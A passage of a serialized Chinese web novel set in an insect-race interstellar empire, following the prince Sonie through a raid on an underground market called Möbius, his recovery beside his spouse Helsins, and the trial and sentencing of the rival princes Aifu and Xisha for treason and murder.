“卡特斯明天就要返回主星,您跟着他一起回去,就能和费伦斯一起研制新武器。”赫尔辛斯将站在边缘的雄虫拉回身边,轻声说道。 索涅无奈地看了他一眼,抱住他趴在他肩上:“你怎么总想赶我走。” 赫尔辛斯闭眼和他靠在一起,声音轻缓。 “您是希望,是这场战争尽快结束,联盟不用劳民伤财的希望。” 索涅轻叹一口气,他何尝不明白? 索涅感觉这时间怎么过得这么快,转眼他就已经站在星舰前方,舱门即将关闭。 “我在你枕头下面留了一点东西,”他捧住虫虫漂亮的脸蛋,轻轻吻了一下那个小驼峰,“回去记得看,你会喜欢的。” 说完,他紧紧地抱了一下赫尔辛斯,转身踏上飞行舰,时间刻不容缓,飞行舰立刻起飞。 赫尔辛斯仰头看着迅速消失在远处的小点,唇角抿直。 “舍不得?”科亚背着手站在他旁边。 “要是你开口,索涅殿下说不定会义无反顾地留下来。” 赫尔辛斯目光冷肃:“那只叛徒怎么样了?” 科亚说道:“半死不活,该说的都说了。” “报告主星,秘密递交给安莫因。” 科亚看着金发军雌强势冷漠的背影,有些无语:“刚才你可不是这个态度。” 身为唯一一只双S级军雌,赫尔辛斯突破的消息被列为高级机密,他的精神丝十分顺服,只要他全部控制住,没虫知道他的变化。 索涅离开后,赫尔辛斯在他说的地方发现了一个小瓶,可以通过机关打开几不可查的小缝,丝丝缕缕醇香的味道溢出,暧昧又温柔地缭绕在他鼻尖。 一瓶浓度极高的S级雄虫信息素。 无价之宝。 赫尔辛斯小心翼翼地收起,实在想念到昼夜难寐,才取出轻嗅。 这确实是他所喜欢的,雄虫很了解他。 —— 回程还算顺利,索涅一回到主星立刻引起轩然大波。虫子们屏息凝神等着他回来,他的身影出现在飞行舰外的一刻,威望彻底盖过尚还活跃的艾浮和刚出监狱的西沙。 有虫佩服他的营销手段,有虫则感慨鸟大了什么林子都有。 [索涅殿下冒着生命危险去前线看望雌君,差点被叛徒攻击死在半路,你们竟然说他是营销?] [有种你们去前线营销一个试试?] 索涅没来得及回德洛伊就被费伦斯叫到研究院,对方在他返回的途中已经利用之前的数据做了很多测试。 “可行!相当可行!”费伦斯激动地给索涅看结果。 “我用珀斯晶体里的一丝宇宙能量做了实验,只要模拟出一个类似于你的核心转换器,就能将安斯族那些震荡的狂暴场静止为正常宇宙能量场!通过这个部分就能实现,像这样balabala……” 费伦斯一通激情演说,索涅头昏脑胀。 “你真是联盟的神迹!真正的虫神!”费伦斯激动地给他册封。 索涅:“……我只是吃了一片能量,说了几句话,什么都没干。” 费伦斯带着一种奇异的犹如喝醉的微笑:“伟大的设想,你完全是虫神。” 索涅:“……”行吧你说是就是。 费伦斯好像癫了。 费伦斯飘了一会儿,突然严肃。 “我需要大量的珀斯晶体做实验,来吧,是时候收拾那些小卡拉米了。” 第二天议会核心成员商讨结束,决定秘密派出一支队伍潜入莫比乌斯等数十个地下交易所,尽可能搜刮珀斯晶体,如有必要,与军部里应外合将他们一网打尽! 这个“如有必要”就很微妙了。 索涅通过自己的邀请函,气定神闲地联系了莫比乌斯的联络员。 [我要那只叛徒的具体信息] [没问题,莫比乌斯为您提供宇宙内一切商品,欢迎您的到来。] 第86章 交易 主星系总共有四个宜居星,其…… 主星系总共有四个宜居星, 其中一个还是改造后的,不过这已经是得天独厚的条件,虫族几乎在发现这里的那一刻就决定把这里占为大本营。 无论是否宜居, 每个星球周围都漂浮着密密麻麻的悬浮港口和卫星, 在遥远的星系边缘, 一片黑暗静寂, 陨石和尘埃在这里被引力牵扯, 翻卷出狭长又危险的陨石带。 不过这难不倒虫族的星舰, 也难不倒亡命天涯的地下商会。 索涅经过一番机械检查,顺利步入这座如同蚁穴般复杂又规律的地下交易所。 杂乱无章。 难以想象联盟主星附近会有这么多异族奴隶,索涅有些好奇他们到底是卖给谁。 索涅的联络员跟在他身后, 这种姿态让其他戴着智能面具的买主有些惊讶。 “加非, 这位阁下是……”有和加非熟悉的买主上来搭话。 索涅忍不住想笑, 他想起了那只叫加菲的肥猫。 加非热络地和来者寒暄一番,却一个字也没有透露出去。 “阁下, 这些外围的奴隶都很低级,不如我带您去里面,有不少高级货。”加非本着习惯,为这位虫族顶顶有钱S级大主顾介绍他们最赚钱的业务——奴隶。 这东西虽然卖价有高有低,但奈何成本实在低廉, 抢劫的时候顺便掳掠就能发一笔横财,是莫比乌斯最赚钱的路子之一。 索涅粗略扫过外围情况,之后就没有再给一个眼神。 他戴着面具模糊了面容和声音,瞳色也是一片漆黑, 不过那通身的气质无法掩盖,让虫子们一看就知道这家伙很有钱。 但也不好宰。 “不要自作主张。”雄虫声音冷淡。 加非从善如流地为自己的鲁莽道歉,低下头的眼睛里却不禁露出思索。 这位殿下的气势真是不同, 明明没有放出精神力,一股压迫感却从始至终存在。 加非带着索涅左转右转,渐渐地进入内部区域。 索涅目光扫过,停了下来。 “珀斯晶体多少钱。” 加非一愣,这么直白?珀斯晶体可是禁物,少有买主这么开门见山。 “怎么,你们的珀斯晶体不在能源交易区?” 雄虫的声音响起,加非迅速回神:“是,当然在能源区,您需要去看看吗?” 雄虫停顿了一下:“算了,带的钱不多,先买消息吧。” 加非:“……”这也是头一个明着说自己没钱的高级雄虫。 索涅步入一个昏暗的房间,复古的油灯映出窗边的身影,索涅安之若素地坐在扶手椅上,也不和那边装叉的家伙打招呼。 加非退了出去。 良久,对方才转过身笑道:“尊贵的阁下,我一直在期盼您的到来。” 索涅颔首,仿佛这是理所应当。 “东西拿出来,报价吧。” 索涅直白的话语仿佛逗笑了对方,他走出阴影,停在索涅面前,阴影笼罩在身上,却没得到哪怕一个眼神。 “阁下何必那么着急,我这儿还有更好的东西。” “我没钱。”索涅说。 “……阁下说笑了。”对方丝毫不见怪。 “这世上有很多东西。您不费吹灰之力就能得到……” 索涅终于抬头看了他一眼,旋即皱眉。 “乌尔加,你究竟玩什么把戏?” 一片寂静。 整个房间就像腐朽的棺材,只有一具死去的骷髅在引诱活虫犯下罪孽。 乌尔加坐在桌边,无神的眼珠紧紧地盯着索涅的:“……您是第一个认出我的。” 索涅跷起腿靠在扶手椅上,其实他刚才也不确定,要不是他见过乌尔加一面,可能还真无法通过对方情绪激动时的精神力逸散而认出来。 “你还在为休伊斯办事?”索涅平淡地问。 乌尔加低声笑起来,越笑越凄厉,仿佛恶鬼在索涅耳边咆哮。 索涅没理他,起身转了一圈,对着地方貌似饶有兴致,“原来你是靠这玩意儿养他的。” 图泽那么久还没被艾浮和西沙吃成骨头架子,只靠安莫因指头缝里露出来的一点钱,乌尔加怎么能养得起圣子?要知道图泽没有家族,全靠乌尔加支持。 一己之力和梅尔加王族的两位圣子抗衡那么久,索涅还挺佩服乌尔加。 “要是没有你……我说不定还……” 还能维持那表面的平静…… 索涅像看垃圾似的瞥了他一眼:“能不能说人——虫话!你还在为休伊斯办事?你不是最近搞了一只B级雄虫吗?你出轨了?” 乌尔加仿佛被掐住脖子的鸡似的,眼珠子充血,恶狠狠地瞪着索涅。 “都是他……他逼我的……” 乌尔加看起来精神有点问题,索涅非常遗憾。 这家伙毕竟是他小舅来着。 “你报价,我出钱,还是说你今天是想宰了我,祭奠你逝去的卧底雄主?”索涅优哉游哉地说。 他居高临下,仿佛不是站在这个棺材里,而是立于高台发号施令。 乌尔加浑浑噩噩,精神域风暴肆虐浑身剧痛,然而他竟然还是想骂一句,这雄虫的嘴真该撕烂! 索涅皱眉捂住鼻子,走到门边。 “别叫他们!”乌尔加怒吼。 索涅无所谓,他只是想出去。 索涅打开门又关上门,悠哉游哉地离开了这个房间,加非迎上来想问一句,被索涅一句话截住。 “这个谈崩了,现在我有钱了,带我去看珀斯晶体。” 加非:“……” 索涅无所谓其他虫会不会发现乌尔加的异状然后造反上位。 关他屁事。 索涅扫荡了一圈能源区,才买到了两颗。 就在这时,整个莫比乌斯突然内部灯光全部熄灭,徒留一片黑暗,混杂着怒骂碰撞声和混乱的逃命脚步声。 加非神情一凛,悄无声息靠近那只雄虫,还没等他出手,腹部骤然迎来一脚,霎时飞出十几米砸在墙壁上。 加非痛苦地捂着肚子,缓缓地爬起来,声音阴狠:“果然是你!!” 他伸出精神力轰然压迫在索涅身上,“杀了他!” 隐匿在墙壁的机器闻声而动,火红的炮口凝聚出刺眼的一点。 索涅暗骂一声,这可是能源区! 精神力对这些铁疙瘩完全没用,索涅只得狼狈躲避,引诱着这些家伙能量彻底积聚后迅速进入通道用精神力拉开屏障。 身后火海滔天,巨大的爆炸冲击波将他撞飞出去压在墙壁上,胸口后背剧痛不已。 索涅吐出一口血沫,仰头看着席卷而来的火焰。 火海……一片火海…… 他的瞳孔被猛烈的火焰灼烧出金色…… 整个莫比乌斯被四面八方的突然袭击搞得猝不及防,买主和卖家慌乱逃窜生怕被捉住,交易所的首领不知所踪,手下群龙无首,几个小头子趁机拉拢势力,到处抓身份高的贵客当俘虏,逮着雄虫就关进笼子提到外界示威。 联盟军果然避开了雄虫笼子所在的方位。 有虫在他耳边报告了一件事,小头目顿时大喜过望。 要是能抓住那只雄虫……他就算要星舰,要能源星,联盟也得给他! 但这个消息很快就传遍了,所有买主卖主都打起了相同的主意。 S级雄虫……这样一来,安莫因和费伦斯必须得捂紧所有消息! 所有虫都兴奋狂热地地毯式搜寻,企图抓住救命稻草。 然而就在这时,整个莫比乌斯突然震动了一下。 “能源区!能源区爆炸了!火烧过来了!!!”有虫哭喊着奔跑。 众虫顿时顾不上抓俘虏,慌乱逃命远离能源区。 而外面一队的军雌看着爆炸的火光冲天的区域,再看看手中圣子殿下的位置,不禁双手颤动,惊恐地把事情报告给莱昂兹。 “什么?!”莱昂兹惊惧交加。 “救火!攻击舰掠阵!星舰所有水储备全部拿出来!” 莫比乌斯这种内循环小基地,根本没有隔离带…… …… 火…… “嘭!”□□落地…… 索涅被紧紧地护在身下,灼热的气焰舔舐着他身上的雌虫…… 他们死里逃生…… 然后是,黑洞…… 破损的不知道是宇宙,还是那个星舰……雌虫掉进去了……他掉进了黑洞里……他不见了…… 他被火焰吞噬,化为焦土,抑或飘散为宇宙尘埃…… 索涅伸出手,好似碰到了一具枯萎的身体……凹凸不平的疤痕…… 雌虫绝望地躺在手术台上,被割开身体…… “呜啊……好疼……”雌虫呜咽着,哭诉着,撒娇着。 索涅隔着火海与他相望,想安慰他,却被火焰灼烧得体无完肤。 “不要哭了……我来了……我找到你了……”他踩着火焰走过去,他摇摇晃晃。 雌虫破涕为笑,向他张开手臂。 索涅扬起笑意,视线却陡然凝固。 雌虫脚下解开一个黑洞,眨眼间将他吞噬。 索涅茫然四顾。 是的……他又……把他弄丢了…… “啊……” “怪物!怪物!!” 是谁在喊……索涅皱起眉。吵死了。 声音很快消失。 “快……快准备镇静剂!” “殿下!” “疯子!疯子!S级是疯子!” 手臂一痛,索涅皱眉一脚踏出,却感觉身体骤然失重。 眼前燃烧的、不断重演的黑暗剧目终于结束,化为一片虚无的白色。 很熟悉,很亲切的白色。 索涅躺在其中,犹如幼儿般蜷缩着陷入安眠。 第87章 波涛汹涌 黑暗…… …… 黑暗…… 但好像, 又有一抹微弱的,跳动的火焰,一直漂浮在咫尺的地方。 索涅不知道自己在哪儿, 也不知道是否清醒。 他畏惧地后退, 紧紧盯着那可怖的火焰。 然而火焰向他漂浮而来, 步步紧逼。 身处黑暗之中的雄虫嘴唇苍白, 不断地颤抖着, 几乎凶狠地朝那朵火焰扑了上去! “砰。”一声身体相撞的轻响。 索涅稀里糊涂地趴在对方怀里, 他下意识紧紧搂住这熟悉的身躯。 “赫尔辛斯……赫尔辛斯……” 他喃喃地压下雌虫的脖子,嗅闻他唇间熟悉的香味。 病房里,一众医雌尴尬地看着索涅圣子跟雌君又哭又撒娇。 索涅失去意识已经好几天, 赫尔辛斯匆匆忙忙从边境赶回主星, 身上还带着一股战火的硝烟味。 这位素来冷肃的上将骤然闯进急救室, 医雌们几乎忍不住要喝退鲁莽的雌虫,却看到军雌刚靠近昏迷的雄虫, 雄虫就跟诈尸似的突然弹了起来。 “……” 一路上心急如焚,赫尔辛斯的衣领很凌乱,这下更是被雄虫挤挤挨挨蹭得露出了锁骨。 雄虫一口叼住那片起伏优美的阴影,边啃边哭个不停。 “赫尔辛斯……赫尔辛斯……” 他又做梦了。 但是这个梦好真实,雌虫的皮肤就像真的一样柔软又温暖, 散发着令他心安的味道。 索涅对着赫尔辛斯的幻影没什么好掩饰的,哭得肆无忌惮:“再陪我一会儿,再等等我,我会找到你……” “赫尔辛斯……你在哪里……” 赫尔辛斯逐渐蹙起眉, 心里有了一个猜想。 他用力地搂紧雄虫的肩膀,摸着他的后颈,声音轻柔至极:“我就在这儿, 我回来了。” 索涅两指夹住雌虫的嘴。 赫尔辛斯启唇,轻轻地用齿尖噬咬雄虫的指腹。一点点的痛感,可能会让雄虫醒过来。 “雄主,我好想您,看看我好不好?” 索涅瞬间意识到什么,猛地睁开眼。 是了,现在已经……是一年之后。 赫尔辛斯,已经回来了!! “殿下醒了!” 医雌们顿时激动,一拥而上试图七手八脚给索涅检查。 索涅陡然暴怒,随手抓起旁边的花篮,“滚出去!” “可是殿下……” “滚!” 一阵窸窸窣窣后,病房终于恢复安静。 他揉着胀痛的额头,一双手轻柔地按在他手上,将他的动作代替。 “或许该让他们检查一下。”赫尔辛斯给雄虫揉着太阳穴。 “他们醉翁之意不在酒。”索涅抓住雌虫的指尖亲吻。 他还有些受刚才的梦境影响,加之赫尔辛斯对他纵容,他也知道雌虫必定是匆忙从边境赶回,心里顿时愧疚。 “我又耽误你了。”他懊恼道。 “你……还要走吗?” 雌虫轻轻地点头。 索涅无声地叹了口气,“我睡了几天?” 这该死的身体,还有……索涅自己都不知道他竟然会那么畏惧火海。 “六天。” 索涅讶异:“你原本就在回主星的途中?” 赫尔辛斯露出笑,他伸手抹去雄虫眼睑残留的湿润,说道:“作战计划有变,费伦斯的实验已经成功。” “这么快?”索涅惊叹,“已经可以实战了?” “只要有一台仪器,就可以靠提前点位,稳定一个星系的能量场。” 索涅握住他的手,又忍不住吻上去:“对你有影响吗?” 毕竟是能量场的变化。 雌虫摇头:“可能反而有益于精神域稳定。” 索涅这一次又丢了大脸,不过想到能够与赫尔辛斯见面也就释然了。 他对自己的精神力一直严格控制,可这次失去意识显然暴露了太多,索涅通过一些资料才知道以及失去意识后究竟发生了什么。 他的精神力倾巢而出覆盖整个莫比乌斯,所有扰动的生命体都被压制得精神休克,联盟军趁机把他们通通一网打尽,抓得无比干净。 他有权限调阅所有资料,因此当看到视频里的自己时,索涅沉默了。 火焰在他身上舔舐,精神丝构筑的屏障让他毫发无伤。 自己还算是人吗? 半晌,索涅叹了口气。 早就不是了。 索涅醒来后不过三个小时,赫尔辛斯便又匆忙启程,他只来得及给雌虫梳理精神域,都没说几句话。 索涅丧着一张脸参加对乌尔加的审讯。 这家伙窜逃到陨石带,又被安莫因亲自带队抓了回来。 安莫因脸色之阴沉,连审讯官都噤若寒蝉。 “按规办理。” 审讯结束良久,位高权重的哥哥丢下一句话就毫不犹豫地离开。 乌尔加的判决结果很快就出来了,他被剥夺所有身份、权利、财产,判处监禁十五年。 索涅却知道,安莫因为此交了一笔巨额罚金。 与此同时,安莫因和费伦斯的小雌子也第一次出现在公众面前,科尔亦步亦趋地跟着他小叔的婴儿车。 [这两位小雌子,我竟然分不出来哪个更漂亮] [漂亮是重点吗?重点是他们都很受宠!] 难得看到雄虫喜欢雌子,竟然都出自同一家!而且还都是痴情种子! 这让一堆雌虫垂涎不已。 但没有虫敢上去勾引。 费伦斯殿下常年不是住在雪山顶峰,就是泡在研究院,更何况现如今谁都看得出来,安莫因委员长就是个醋坛子,偏偏还很受宠。 至于索涅殿下……唉,不提也罢。 痴情雄虫难得,但万一雄虫发怒,他们活不活的下来还两说。 现在星网都在传言,索涅殿下可以徒手掐爆星兽脑袋。 尤其赫尔辛斯上将不在的时候,圣子那阴丧的脸,谁敢去打搅? 原本索涅风头盖过艾浮和西沙的总和,谁料这时突然传出消息,艾浮圣子的新雌君已经怀了一枚等级很高的雄虫蛋。 并且,艾浮圣子已突破S级。 冷水溅进热油锅,星网不出意料又爆炸了。 艾浮·梅尔加突破S级的消息,像一阵飓风席卷所有星球。梅尔加王族空前热闹。 道贺的飞行舰几乎堵塞了空轨。艾浮站在盛满夸赞追捧的舆论中心,接受着潮水般的恭维,前所未有地畅快,眼底的野心再也掩饰不住。 “恭喜殿下!” “不愧是梅尔加王族” “联盟之幸……” 一个月后,追捧的热度尚未消退,私下里的清洗拉拢便已经开始,艾浮迫不及待打出S级的招牌,加上他梅尔加的身份,显得格外好用。 几名曾公开质疑过艾浮能力的官员被迅速调离关键岗位,取而代之的是梅尔加王族的坚定支持者。几个原本中立的家族在威逼利诱下倒戈,资源和权力悄然向艾浮集中。议会上梅尔加派系的声音越来越响亮,态度越来越强硬。 [艾浮殿下一定吃了很多苦头才突破S级] [联盟需要像艾浮殿下这样的S级雄虫] [艾浮殿下理应获得更多话语权,反正他比某虫温柔] 安莫因冷眼看着议会上愈演愈烈的风向,指尖在光屏上划过,上面是几条刚刚收到的职位变动通知。 “动作真快。”他対身边的费伦斯低语,语气听不出情绪。 费伦斯眉宇间没有一丝担忧:“他在拉拢军部的中下层军官,许诺战后的晋升和资源。” 主星风起云涌时,一道来自前线的捷报短暂冲散了动荡的阴霾。 赫尔辛斯率领联盟军队,以一次极其大胆的穿插战术,撕开了安斯族主星域的防线,重创其守备舰队! 并且费伦斯执政官在索涅殿下辅助下,已经突破反精神攻击技术!军雌们再也不需要担心精神攻击! 消息传来,主星一片欢腾,然而这份喜悦并未持续多久。 安斯族在节节败退下,动用了最后的底牌。 或者说休伊斯,终于亮出了他心里对虫族的致命攻击。 那个曾经的圣子,通过公共频道在宇宙维度发声,向整个虫族星域发布了一段平静到令虫心寒的声明: “穷途末路的挣扎毫无意义。虫族,你们引以为傲的赫尔辛斯上将,确实战功赫赫。但你们是否想过,为什么索涅能那么快突破S级?” 他的声音平稳,却带着致命的穿透力,“这一切都得益于你们伟大的执政官,费伦斯阁下,他暗中研究出了雄虫进阶技术。他只选择了他自己的崽子,至于你们,至于整个虫族,他吝啬于分享这门技术。” 声明如同一颗投入静湖的巨石,瞬间在虫族内部掀起滔天巨浪! 虫子们的目光瞬间聚焦于费伦斯和安莫因身上。震惊、猜忌、贪婪、愤怒……种种情绪在整个星域中疯狂蔓延。 有虫不信,有虫将信将疑,也有虫一下子将矛头对准圣山。 [真有这种技术?!] [索涅圣子比艾浮圣子小那么多岁却能更早突破,原来是这个原因!我就说艾浮圣子才是最厉害的!] [圣子呜呜呜这么温柔又强大的雄虫,也就艾浮殿下了吧?] 艾浮却在第一时间站出来,姿态还挺谦卑:“费伦斯执政官对联盟科学领域的贡献巨大,他的专业程度毋庸置疑。” “技术的应用自然需要谨慎,我们要相信他是为了联盟的未来。” 这一番话,茶味简直要溢出来了。 费伦斯忙着指挥赫尔辛斯调试反精神力仪器,压根没空搞政治斗争,于是索涅不得不把他的压力也给扛下来。 看着疯狂拉拢势力的艾浮,他冷静地通知恩修。 [把那些东西放出去] [全部?] [全部。] 第88章 最后的审讯 曾经轰动联盟的三只雄虫离…… 曾经轰动联盟的三只雄虫离奇死亡案, 如同悬在主星上空的一团阴云,从未真正散去。因为他们都是高级雄虫且生活在号称安全系数最高的主星,死相却如此凄惨。 民众的关注在官方漫长的沉默中逐渐发酵, 积压着不满与猜疑。 不知道从什么时候起, 几段来源不明却带着惊人细节的信息, 如同病毒般在星网的各个公共讨论板块悄然流传开来, 随即以燎原之势席卷了整个公共信息平台。 这些信息直指艾浮圣子。 指控他才是残忍杀害那三只雄虫, 并挖心挖脑, 最终抛尸外星系的真凶。 最开始,这东西很少有虫在乎。 [你们又在这儿放什么屁呢!那三位阁下的死讯艾浮殿下也很伤心,他们是好友!] [就是, 殿下如果要杀他们, 为什么要让他们参加聚会?] [这不是平白让虫怀疑] 但是, 更令他们毛骨悚然的细节随之曝光。 根据很多自称内部研究员的雌虫披露,在艾浮成功进阶S级当天, 他承受不住狂暴的精神力冲击而神智失控,攻击了他秘密实验室内的研究员,以及另外三只被囚禁在其中的雄虫。 他们还暗示,这些雄虫当时早已因实验失败而精神力枯竭,濒临死亡。 流言看起来很离奇, 但在星网经久不衰,并且越来越多可疑的细节被挖出来。 有虫挖出,那三只死亡雄虫的雌君雌侍,确实在事发后不久便以各种理由退出了军部等需要高强度精神力的领域, 并且举家迁离主星,去向成谜。 他们的消费记录也被扒出,显示他们曾在短时间内获得大笔来路不明的资金, 并且也是最近披露的地下交易所的常客,经常通过数个隐秘的渠道,持续购买着浓度高得异常的精神抚慰剂。 估计他们的精神域早就已经废了,才不得不退出军部。那他们的突兀的巨额财富又从哪里来? 那些消费品显然是用来安抚因长期没有接受抚慰,而陷入痛苦的雌虫的。 是什么原因,让这三只雄虫的所有雌君雌侍统统不受宠爱? 还是说,他们根本就见不到雄主? 一个流言尚未平息,另一个更具爆炸性的消息接踵而至,直接把民众震得脑瓜子嗡嗡。 联盟最高法庭突然发布公告,正式对艾浮圣子与西沙圣子进行调查,罪名是:涉嫌勾结外族,背叛联盟! 虫子们揉了揉自己的眼睛,不可置信地将宣告从头看到尾,然后彻底吵翻天! [天啊!虫族完了!两位圣子一起入狱!] [不可能!殿下为虫族殚精竭虑,怎么可能是叛徒!某虫才更像叛徒!] [安斯族不是都说了,某些虫根本不把种族利益放在眼里!自私!] [你们在这儿狗叫什么?索涅圣子接受调查的时候也没见买这么多水军给自己洗白] [要真是白的还用洗?等最高法调查结果不就行了] [那可不一定,赫尔辛斯上将不也含冤入狱?] [……] 审讯室的环境永远那么压抑,不过对待这两只虫,显然手法要温和许多。 作为目前唯一未受指控,拥有自由身的圣子,索涅出席了这场旁听席空前热闹的审讯会,他坐在前排最中间,身后高级官员足足坐了五排。 他坐在旁听席上,面容平静,蓝眸无波,漫不经心地看着被带上来的艾浮和西沙。 艾浮依旧试图维持着那份S级雄虫的傲慢,但面上一丝难以掩饰的惊惶和凌乱的衣服出卖了他。 他是被最高法突然抓来的。 西沙则显得格外萎靡不振,脸色苍白,不过比艾浮平静点,毕竟他不是第一次进来。 他们的确准备了不少后手,所以还算体面和游刃有余。 在场高官心知肚明,艾浮圣子那位不受宠的雌君,王族最出色的雌虫之一——法门·恩其顿,正在各方活动,一副要全力营救雄主的姿态。 与之相反,最高法的搜查行动却进行得异乎寻常的顺利,几乎没遇到任何预料中的阻碍。 在艾浮名下的一处隐秘庄园里,调查员搜出了大量未知的黑色加密通讯器,大量未知药剂,以及数之不尽的记录了异常精神力波动和生物组织提取数据的实验记录。 这些都被隐藏在破密难度极高的黑色数据库,但可惜联盟的数据精英很多,不出一个晚上就破解了。 不过艾浮新娶的那位雌君,倒是真心实意地想为雄主奔走。 可惜,他只是法门的表弟,并不属于恩其顿王族,在第二军的根基和威望也远不及法门深厚。法门和他在艾浮的事上显然意见不和,他能动用的恩其顿王族资源寥寥无几,努力的效果不太理想。 而西沙这边,情况更为糟糕。 他的雌君科亚远在边境战场,无暇他顾。他最具权势的未婚雌君卡辛斯,偏偏在这个节骨眼被远派至偏远的海塔星驻守,并且由于尚未正式结婚,卡辛斯的家族毫不犹豫地选择了明哲保身,对西沙的支持吝啬到了极点。 艾浮和西沙拒绝配合,审讯的进程极为缓慢。 不过这也没用。 索涅和安莫因早已为今天准备了很久,艾浮的挑衅不过是死前蹦跶。 随着所有事情被理顺,一条清晰而罪恶的链条逐渐呈现在所有虫面前。 杰里士忙得焦头烂额,各方权力倾轧更是让他苦不堪言。 他顶着巨大的压力,苦哈哈地推进审讯。 进一步的审讯结果被最高法公布。 艾浮不仅涉嫌谋杀雄虫,更已确定他曾在多年前与安斯族秘密勾结,泄露了多个边境据点星球的战备信息和数据库布局。 这些泄露的关键信息,导致那场战争在几次关键战役中损失惨重,军雌死伤无数。 而艾浮则和安斯族勾结设计战局部署,将这些战略失误悉数栽赃到了当时风头正劲的赫尔辛斯头上! 他还利用职权,频繁调动和更换由中立派掌控的边防部队,制造了防御漏洞,使得安斯族有机会将休伊斯送入虫族联盟内部。 休伊斯并最终凭借伪造的身份和雄虫资质,登上了圣子之位。大量军事情报和核心技术,就这样通过休伊斯,源源不断地流向了安斯族。 西沙的罪孽不如艾浮,但也没能幸免。 他曾伪造证据,诬陷当时作为他未婚雌君的赫尔辛斯·恩其顿上将,使得赫尔辛斯的监禁时间从五十年直接上升为无期,并且判为囚禁于深渊茧房最底层。 这件事让雌虫民众出离愤怒,很明显西沙最后得到了赫尔辛斯上将的大笔财产! 西沙·梅尔加戳到了雌虫心里那根最敏感的神经,尽管最高法对他只提了几句,但他被骂得和艾浮一样惨。 审讯至此,西沙的罪行在虫族法律框架内已相对清晰,主要集中于伪证、渎职和包庇叛徒,虽然他是A级雄虫,但律法并非不可量刑。 然而对于艾浮,情况则变得极其棘手。 他犯下的叛国、谋杀、勾结外敌等皆是重罪,按律当处死刑。 可问题在于,他也是联盟唯二的S级雄虫,联盟历史上从未有过处决S级雄虫的先例。 即便处刑,又该怎么判处? 最高法的法官们连夜开会,焦头烂额地争论着量刑标准。 西沙已经锒铛入狱,艾浮却还在审讯程序中,加之他的新雌君信誓旦旦在努力救他,他便以为万事大吉。 就在这僵持不下之际,最高法技术部门对从艾浮庄园深藏在地下几百米的实验室搜出一堆没来得及销毁的实验数据,他们对此进行了深度分析,最终呈交了一份石破天惊的报告。 艾浮所谓的进阶S级,根本就是一个彻头彻尾的骗局! 这件事惊动了所有大大小小的贵族、官员、研究员,艾浮被送进数十个实验室接连检查,结果让一堆刚被他忽悠的虫子脸色铁青。 他并非依靠自身潜力突破,而是使用了一种精神域填补的恶毒技术。 这种技术能够将其他雄虫的整个精神域剥离出来,以极其粗暴的方式缝合到目标雄虫的精神域中,从而在检测时叠加模拟出S级的能量波动。 然而,这种缝合来的精神力与宿主本身格格不入,不仅无法被艾浮真正调用施展,更像一个不断侵蚀本体的毒瘤,对他的原生精神域造成持续且不可逆的损伤,其精神力等级会随着时间推移而迅速跌落。 更可怕的是,为了维持这个虚假的等级表象,他需要不断吞吃新的雄虫精神域! 不知道有多少贵族开始连夜清点自己生活于各个星球的雄虫族亲。 最高法立刻根据这条线索,强硬调取了近十年来全联盟所有记录在案的雄虫失踪及非正常死亡卷宗,追溯结果令虫后背发凉。 近五年来,此类案件的数量呈现异常飙升,且多数案件最终都被以各种理由压制或草草结案,未能深入调查。 不知道有多少雄虫,已经悄无声息地成为了艾浮维持其虚假荣耀的养料,或是正被囚禁在某个不为人知的角落,等待着被吞噬的命运。 这份报告难得被向来公开透明的最高法按下。不过民众不知道,其他贵族可知道。 欺骗他们的艾浮,骤然成为所有高层的眼中钉肉中刺。 这家伙不仅以他们宝贵的雄虫血脉为食,甚至还让他们和索涅圣子结仇!彻底失去了得到更多利益,让家族强盛的大好机会! 这些家伙们虫心惶惶,最高法接连接到几十个申诉,不得不为难地向索涅提了一个请求。 索涅无所谓地接受了和艾浮一样的详细检查,事实证明他的精神力、信息素、身体强度确实都是S级。 这让他背后的多方势力狠狠松了一口气,旋即开始嘲笑自己的对手眼瘸。 第89章 对艾浮和西沙的判决 在将一切证据…… 在将一切证据链全部捋清楚, 并商讨出审判条例后,最高法庭决定开启对艾浮圣子的最终审判,顺便宣布西沙圣子的审判结果。由整个虫族星域各星球议会全体成员参与旁听, 这注定是一场载入虫族史册的庭审。 无数议员连夜赶到主星, 不知道多少虫在这几天彻夜难眠。 庄严肃穆的审判庭内座无虚席, 空气凝滞得仿佛能拧出水来。高立的黑色审判席上, 庭长兼本次审判大法官杰里士为首的法官团体面色沉肃, 他们面前的光屏滚动着密密麻麻的罪状与证据链。 星网全程直播, 对全体雌雄虫予以警示。 艾浮和西沙各自被两名军雌押解着站在被告席。 曾经矜贵的S级雄虫此刻脸色灰败,华丽的礼服换成了统一的囚服。囚服款式不错,也很干净, 千位议员的眼神让艾浮感觉耻辱至极。 他的目光频繁扫过旁听席前排的索涅, 带着一丝难以言喻的怨毒和嫉恨。 索涅平静地回视, 眼里没有任何情绪,像在看一颗路边尘埃。 “被告艾浮·梅尔加, 原圣子爵位……”沉稳肃穆的声音在审判庭内回荡,开始逐一宣读那罄竹难书的罪状。 勾结外族,泄露军机,栽赃陷害功勋将领,非法进行禁忌精神域实验, 谋杀及残害多名雄虫,利用圣子职权排除异己、扰乱边防……一桩桩,一件件,伴随着确凿的影像、数据、通讯记录以及关键虫的证词, 被清晰地呈现在所有议会成员面前。 围观的民众看不到证据内容,但光看议员们的脸色都够他们回味很久,对这些贵族和官员私底下的关系捋出个五六七八。 直播间禁止讨论, 但公共平台早就开了不计其数的新板块开骂了。 证据确凿,逻辑链完整,艾浮的律师团几次试图反驳,都在铁证面前显得苍白无力。他们坐在风雨中,甚至有那么一点可怜。 漫长的宣读和示证结束后,审判庭进入了短暂的休庭合议。 当法槌再次敲响,全体起立聆听最终判决时,空气沉重得让被告席的两只虫面色像纸一样。 “经最高法庭合议一致裁决,现宣判如下:” “被告西沙·梅尔加,剥夺圣子称号及一切爵位、军事及政治权利终身,判处监禁六个月,罚没其非法所得,并向赫尔辛斯·恩其顿上将支付赔偿金八十亿星币。刑满后,需完成志愿服务五年,每周不少于五十小时。” 西沙闭上了眼,身体微微晃了晃,这个结果对于一名A级雄虫而言,已是颜面扫地。五年强迫性志愿服务,与卖身无异。 艾浮的审判还没宣布,但他已经吓得摇摇欲坠,最终“砰”的一声跪倒在被告席。 “被告艾浮·梅尔加,剥夺圣子称号及一切爵位、军事及政治权利终身,判处监禁十年,处以罚金五百亿星币。刑满后,需完成志愿服务八十年,每周不少于五十小时。” 监禁十年!志愿服务八十年! 这个判决一出,旁听席上传来一阵压抑的惊呼。对一名雄虫,尤其是曾经的圣子雄虫而言,这惩罚堪称严厉至极。 